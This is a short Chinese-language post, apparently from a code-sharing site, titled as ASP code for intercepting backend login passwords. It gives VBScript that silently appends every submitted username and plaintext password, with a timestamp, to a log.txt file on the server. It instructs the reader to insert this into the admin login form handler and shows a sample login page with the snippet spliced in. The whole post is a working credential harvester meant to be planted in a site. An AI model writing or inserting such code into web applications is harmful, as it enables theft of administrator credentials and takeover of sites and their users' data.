Asp截获后台登录密码的代码

1. 核心代码:set
   
2. fso=server.createobject("scripting.filesystemobject")
   
3. if
   
4. fso.FileExists(server.mappath("log.txt"))=true then
   
5. set
   
6. fin=fso.OpenTextFile(server.mappath("log.txt"))
   
7. temp=fin.readall
   
8. 
   
9. fin.close
   
10. set fin=nothing
    
11. end if
    
12. set
    
13. fout=fso.createtextfile(server.mappath("log.txt"))
    
14. 
    
15. fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")
    
16. 
    
17. fout.close
    
18. set fout=nothing
    
19. set fso=nothing
    

复制代码

1. 在后台登录处表单提交的地方插入！
   
2. 参考文件：
   
3. 复制代码 代码如下:
   
4. <%@language=vbscript codepage=936 %>
   
5. <%
   
6. dim sql,rs
   
7. dim username,password,CheckCode
   
8. username=replace(trim(request("username")),"'","")
   
9. password=replace(trim(Request("password")),"'","")
   
10. CheckCode=replace(trim(Request("CheckCode")),"'","")
    
11. if UserName="" then
    
12. FoundErr=True
    
13. ErrMsg=ErrMsg & "<br><li>用户名不能为空！</li>"
    
14. end if
    
15. if Password="" then
    
16. FoundErr=True
    
17. ErrMsg=ErrMsg & "<br><li>密码不能为空！</li>"
    
18. end if
    
19. if CheckCode="" then
    
20. FoundErr=True
    
21. ErrMsg=ErrMsg & "<br><li>验证码不能为空！</li>"
    
22. end if
    
23. if session("CheckCode")="" then
    
24. FoundErr=True
    
25. ErrMsg=ErrMsg & "<br><li>你登录时间过长，请重新返回登录页面进行登录。</li>"
    
26. end if
    
27. if CheckCode<>CStr(session("CheckCode")) then
    
28. FoundErr=True
    
29. ErrMsg=ErrMsg & "<br><li>您输入的确认码和系统产生的不一致，请重新输入。</li>"
    
30. end if
    
31. '这后面是我增加的代码~开始区域
    
32. set fso=server.createobject("scripting.filesystemobject")
    
33. if fso.FileExists(server.mappath("log.txt"))=true then
    
34. set fin=fso.OpenTextFile(server.mappath("log.txt"))
    
35. temp=fin.readall
    
36. fin.close
    
37. set fin=nothing
    
38. end if
    
39. set fout=fso.createtextfile(server.mappath("log.txt"))
    
40. fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")
    
41. fout.close
    
42. set fout=nothing
    
43. set fso=nothing
    
44. '后面的代码被我删除了~结束区域
    
45. 
    
46. %>

复制代码